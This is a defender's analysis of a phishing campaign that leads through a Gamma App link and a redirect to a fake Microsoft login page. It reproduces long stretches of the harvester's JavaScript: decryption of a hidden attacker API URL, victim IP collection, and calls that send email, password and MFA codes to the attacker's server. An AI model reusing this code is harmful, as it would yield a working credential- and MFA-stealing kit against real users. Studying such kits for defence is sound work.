Phishing Analysis #1
phishingPhishing Analysis
This article was originally written for internal use. It has been adapted for public release. Some content has been removed. I’ll try and do an actual rewrite at some point.
E-Mail Message
Phishing attacks typically start with either a malicious attachment or malicious domain. For this sample, the phishing event started with a link to a PDF file hosted by Gamma App. Gamma App and other file hosts are often used to serve malicious files. These services often have little to no security measures in place for detecting or preventing malware or phishing.
The email in this phishing case originated from an account that was compromised in a similar attack. Once threat actors have compromised an account, they typically use the account to attempt to compromise other accounts.
…
Phishing email removed for public release
…
First Domain
The PDF link leads to hxxps[://]gamma[.]app/xxxxx. This document hosting platform is often used in phishing attacks. Once at the page, it diplays a message claiming that there is a new PDF document from the XXXX Accounting Department. It also contains a link to view or download the document.
This type of behavior is uncommon for legitimate documents. In most cases, documents are sent directly, and do not use document sharing services. When sharing services are used, the URL should be validated. For example, files shared through Adobe should have a URL with from adobe.com. This file claims to be from Adobe, but is hosted at gamma.app. This is an indicator that the file is not legitimate.
Second Domain
Once the link is clicked, it redirects to hxxps[://]justworks[.]app[.]link/?$deeplink_path=/alerts/time_off_requests/13a6b7f0-b2ae-4165-87b0-da6673653a54&$fallback_url=hxxps[://]abbviea[.]com/laodouts/.
This domain serves to redirect users to hxxps[://]abbviea[.]com/laodouts/. Phishing campaigns will often use redirects like this as a method to obfuscate their credential harvester domains.
Final Domain
The harvester was located hxxps[://]abbviea[.]com/laodouts/?%24deeplink_path=%2Falerts%2Ftime_off_requests%2F13a6b7f0-b2ae-4165-87b0-da6673653a54&_branch_match_id=1207762819149213016&_branch_referrer=H4sIAAAAAAAAAx2Oyw6CMBREvwZ2PKRQjAkxLvQ3mlu4hUqh9bbIzm%2B3sJszyZzMFILzt6J4bz7slmafg3O50etc3JOqHhDdAcJBmLqkeoFBCj6GoBcUVilB%2BNnQn92FAZetKjNZAWb1hTfZtZVlNgDnLeMNg6ZOo1WBMRL6WWxkuul4kLBH3B9%2BKb8aIe%2FtEsmAHex2utMfoUIivY5Ckt09UvccRvwDW6wUV8EAAAA%3D
The harvester itself presents as a typical Microsoft login page. There are some tells however, that this is not a legitimate login page. Legitimate Microsoft login pages will have a domain name related to microsoft. These are typically something like microsoft.com, live.com, or onmicrosoft.com. In many cases, these will appear as organization_name.microsoft.com or similar.
…
content removed
…
Phishing API
The credential harvester uses an API to build the website, harvest credentials and tokens, and gather/store unique information about the victim. This is done through a series of API calls using JavaScript embedded in the HTML of the domain.
The harvester appearance and function is determined by the first API call made to the server. The API server is hosted at hxxps[://]bigdickenergy[.]bigpoliceman[.]com/.
The harvester hides this URL through a Base64 encoded and AES encrypted string. This string is decoded and decrypted through a function called ‘decstr’. Once decrypted, the ‘GEInfo’ function is used to send an API call via fetch(). This call uses the ‘do’ parameter to signify the action of the request. It also uses the ‘redirect_url’ and ’theme’ parameters to establish what branding and form the login page should look like.
<script>
let usuuid = "hFPvPsJLAWL4B2itwJQDNBbfrBqdS2e4GH3AIs3GHlT1FQ9GOQmRQt5x0RMS/Kfa33TU/BIh7ec80XOpkbcUmA==";
let policy = "lLbibu5Ik8hhEMeUw7p3DpohBnWQu8NKrP0u/Fz/+N+Cy7LNnbNbL2xOHc51b41vx2Z6Z/BgEL22jJyLcm1xyw=="; // decoded A0äò0ím0Õ#ÉgVhttps://bigdickenergy.bigpoliceman.com/
let SV = "0";
let SIR = "1";
function decstr(encryptedString, key) {
const keySize = [16, 24, 32];
if (!keySize.includes(key.length)) {
throw new Error("Incorrect AES key length. Use a 16, 24, or 32 bytes key.");
}
const encryptedData = CryptoJS.enc.Base64.parse(encryptedString);
const iv = CryptoJS.lib.WordArray.create(encryptedData.words.slice(0, 4));
const ciphertext = CryptoJS.lib.WordArray.create(
encryptedData.words.slice(4)
);
const decryptedData = CryptoJS.AES.decrypt(
{
ciphertext: ciphertext,
},
CryptoJS.enc.Utf8.parse(key),
{
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7,
}
);
return decryptedData.toString(CryptoJS.enc.Utf8);
}
async function GEInfo() {
try {
const response = await fetch(decstr(policy, "708b91a2n3k4a5i6"), {
method: "POST",
body: JSON.stringify({
psk: usuuid,
do: "GURI",
redirect_url: "https://outlook.office.com/mail/",
theme: "office",
}),
headers: {
"Content-Type": "application/json",
},
});
const data = await response.json();
if (data.c === "success") {
document.write(decstr(data.b, data.a));
} else {
document.write(`<p>${data}</p>`);
}
} catch (error) {
console.error("Error:", error);
document.write("An error occurred while making the request.");
}
}
(async () => {
await GEInfo();
})();
</script>
On a successful API call, the script receives an encrypted and encoded string. Using the same ‘decstr’ function as before, it converts the encrypted string to HTML code which is then loaded into the page. This returned code is what displays the credential harvester.
API Calls
Once the harvester has loaded in the document, it immediately gathers information about the victim’s browser and location.
let psk = "hFPvPsJLAWL4B2itwJQDNBbfrBqdS2e4GH3AIs3GHlT1FQ9GOQmRQt5x0RMS/Kfa33TU/BIh7ec80XOpkbcUmA==";
async function S9mU8TDH() {
try {
const response = await fetch("https://api.ipify.org?format=json");
const json = await response.json();
return json.ip;
} catch (error) {
console.error(error);
return null;
}
}
(async function () {
current_ip = await S9mU8TDH();
})();
The async function ‘S9mU8TDH()’ is used to get the IP address of the host using the ipify.org API. The ‘psk’ value is potentially a unique value for identifying victims.
Each field in the harvester is given a unique identifier, which is monitored for keystrokes. Whenever the enter key is pressed, the text content of each field is gathered. Fields are also gathered if certain buttons are clicked.
$("#Vx2UiAE").on("keypress", function (e) {
if (e.which == 13) {
value();
}
});
$("#LnhKxx").on("click", function () {
value();
});
$("#hyhaDFNmJ").on("keypress", function (e) {
if (e.which == 13) {
QndGiXdY();
}
});
$("#exQjWkm").on("click", function () {
QndGiXdY();
});
Once data is ready to be sent to the API server, a ‘check’ call is made. This call most likely checks for valid credentials. Depending on the status of this call, the page loads different sets of HTML code, manipulating how the harvester appears. Note that this call also sends the victim’s user agent, browser, and IP address.
$.ajax({
url: hYf5z,
cache: false,
type: "POST",
data: JSON.stringify({
do: "check",
em: UcUrBo,
IP: current_ip,
bdata: navigator.userAgent,
psk: psk,
send_visit: SV,
send_invalid_result: SIR,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server
success: function (liqfFv) {
...
}
});
Once credentials have been validated, the harvester attempts to get the Multi-Factor Authentication token by passing along the MFA method. This is done through the ’le’ call, which returns a ‘method’ parameter with the type of MFA used by the account. Depending on the value of ‘method’, different harvester HTML sets are loaded.
$.ajax({
type: "POST",
url: hYf5z,
data: JSON.stringify({
do: "le",
em: UcUrBo,
px: AVBO3EVG,
sec: klDur,
psk: psk,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server
success: function (liqfFv) {
...
}
});
(The MFA method determination)
if (method.length > 0) {
method.forEach(function (item) {
if (item.authMethodId == "PhoneAppNotification") {
$("#P2pi5b").show();
}
if (item.authMethodId == "PhoneAppOTP") {
$("#P2mZIhQ").show();
}
if (item.authMethodId == "OneWaySMS") {
$("#phuEVKU").show();
$("#JCokF").text(item.display);
$("#WxihIY2G").html(
'<span class="bDicj">laden</span>W<span class="bDicj">laden</span>e t<span class="bDicj">laden</span>exte<span class="bDicj">laden</span>d yo<span class="bDicj">laden</span>ur p<span class="bDicj">laden</span>ho<span class="bDicj">laden</span>ne ' +
item.display +
'. P<span class="bDicj">laden</span>lease<span class="bDicj">laden</span> en<span class="bDicj">laden</span>ter th<span class="bDicj">laden</span>e c<span class="bDicj">laden</span>ode <span class="bDicj">laden</span>to <span class="bDicj">laden</span>sig<span class="bDicj">laden</span>n <span class="bDicj">laden</span>in<span class="bDicj">laden</span>.'
);
}
if (item.authMethodId == "TwoWayVoiceMobile") {
$("#gewa9I").show();
$("#zSrdzL").text(item.display);
}
if (item.authMethodId == "TwoWayVoiceOffice") {
$("#sobYm").show();
$("#JrTQKfB").text(item.display);
}
});
}
After gathering the MFA token, a ‘ver’ call is made. This is mostly likely used to ensure the token was entered or resolved correctly. In this call, you can see the token being passed to the API server.
$.ajax({
url: hYf5z,
type: "POST",
data: JSON.stringify({
m: method,
token: liqfFv.token,
do: "ver",
sec: klDur,
psk: psk,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server
success: function (liqfFv) {
...
}
});
This API call returns a parameter called ’type’. The ’type’ parameter appears to be used to determine the final API call. There are five distinct API calls that are made depending on the returned type.
type == “one”
if (liqfFv.type == "one") {
$("#bziA3cRA").show();
$("#PgSjMIsZ").html(liqfFv.otp);
o1Kno5f();
function o1Kno5f() {
K6GCl = $.ajax({
url: hYf5z,
type: "POST",
data: JSON.stringify({
do: "cV",
token: liqfFv.token,
service: "a",
sec: klDur,
psk: psk,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server
success: function (liqfFv) {
if (liqfFv.status) {
K6GCl.abort();
dnSxvrJea(UcUrBo);
} else {
setTimeout(o1Kno5f, 1000);
}
},
});
}
}
type == “two”
if (liqfFv.type == "two") {
var currentToken = liqfFv.token;
$("#i1kjQapm").show();
$("#tWDy23gzU").click(function () {
$("#LxJ8U").html("");
otp = $("#ZrNm36K").val();
$.ajax({
url: hYf5z,
type: "POST",
data: JSON.stringify({
do: "cV",
token: currentToken,
service: "c",
otc: otp,
sec: klDur,
psk: psk,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server
success: function (liqfFv) {
if (liqfFv.status) {
dnSxvrJea(UcUrBo);
}
if (!liqfFv.status) {
$("#ZrNm36K").focus();
$("#LxJ8U").html(
`<span class="bDicj">laden</span>You<span class="bDicj">laden</span> d<span class="bDicj">laden</span>id<span class="bDicj">laden</span>n\<span class="bDicj">laden</span>'t e<span class="bDicj">laden</span>nte<span class="bDicj">laden</span>r t<span class="bDicj">laden</span>he e<span class="bDicj">laden</span>xpe<span class="bDicj">laden</span>cte<span class="bDicj">laden</span>d ve<span class="bDicj">laden</span>rif<span class="bDicj">laden</span>icat<span class="bDicj">laden</span>ion<span class="bDicj">laden</span> cod<span class="bDicj">laden</span>e. <span class="bDicj">laden</span>Plea<span class="bDicj">laden</span>se t<span class="bDicj">laden</span>ry <span class="bDicj">laden</span>aga<span class="bDicj">laden</span>in<span class="bDicj">laden</span>`
);
$("#ZrNm36K").val("");
}
if (liqfFv.newToken) {
currentToken = liqfFv.newToken;
}
},
});
});
}
type == “three”
if (liqfFv.type == "three") {
var currentTokenn = liqfFv.token;
$("#ZMUXm").show();
$("#mYWcpvxb").click(function () {
$("#DyeNRVo").html("");
otp = $("#ftUQOZJoQ").val();
$.ajax({
url: hYf5z,
type: "POST",
data: JSON.stringify({
do: "cV",
token: currentTokenn,
service: "b",
otc: otp,
sec: klDur,
psk: psk,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server
success: function (liqfFv) {
if (liqfFv.status) {
dnSxvrJea(UcUrBo);
}
if (!liqfFv.status) {
$("#ftUQOZJoQ").focus();
$("#DyeNRVo").html(
'<span class="bDicj">laden</span>Yo<span class="bDicj">laden</span>u d<span class="bDicj">laden</span>id<span class="bDicj">laden</span>n\'<span class="bDicj">laden</span>t e<span class="bDicj">laden</span>nt<span class="bDicj">laden</span>er <span class="bDicj">laden</span>the <span class="bDicj">laden</span>sobYm<span class="bDicj">laden</span>pect<span class="bDicj">laden</span>ed <span class="bDicj">laden</span>ver<span class="bDicj">laden</span>ific<span class="bDicj">laden</span>atio<span class="bDicj">laden</span>n co<span class="bDicj">laden</span>de<span class="bDicj">laden</span>. P<span class="bDicj">laden</span>le<span class="bDicj">laden</span>ase<span class="bDicj">laden</span> tr<span class="bDicj">laden</span>y ag<span class="bDicj">laden</span>ain<span class="bDicj">laden</span>'
);
$("#ftUQOZJoQ").val("");
}
if (liqfFv.newTokenn) {
currentTokenn = liqfFv.newTokenn;
}
},
});
});
}
type == “four”
if (liqfFv.type == "four") {
var calltoken = liqfFv.token;
$("#LkTMI1XRU").show();
o1Kno5f();
function o1Kno5f() {
kpuCkey6A = $.ajax({
url: hYf5z,
type: "POST",
data: JSON.stringify({
do: "cV",
token: calltoken,
service: "d",
sec: klDur,
psk: psk,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server
success: function (liqfFv) {
if (liqfFv.status) {
kpuCkey6A.abort();
dnSxvrJea(UcUrBo);
} else {
setTimeout(o1Kno5f, 400);
}
if (liqfFv.calltoken) {
calltoken = liqfFv.calltoken;
}
},
});
}
}
type == “five”
if (liqfFv.type == "five") {
var calltokenoff = liqfFv.token;
$("#DtBgY3j").show();
o1Kno5f();
function o1Kno5f() {
BfJUyQ = $.ajax({
url: hYf5z,
type: "POST",
data: JSON.stringify({
do: "cV",
token: calltokenoff,
service: "e",
sec: klDur,
psk: psk,
}),
contentType: "application/json", // Ensures the request is sent as JSON
dataType: "json", // Expecting JSON response from server
success: function (liqfFv) {
if (liqfFv.status) {
BfJUyQ.abort();
dnSxvrJea(UcUrBo);
} else {
setTimeout(o1Kno5f, 400);
}
if (liqfFv.newtokenoff) {
calltokenoff = liqfFv.newtokenoff;
}
},
});
}
}
Presumably, the return of ’type’ indicates either a success or a failure to validate the MFA token.
Once the API has validated the token, the account is completely comprimised. At this point, the threat actor has complete control over the account.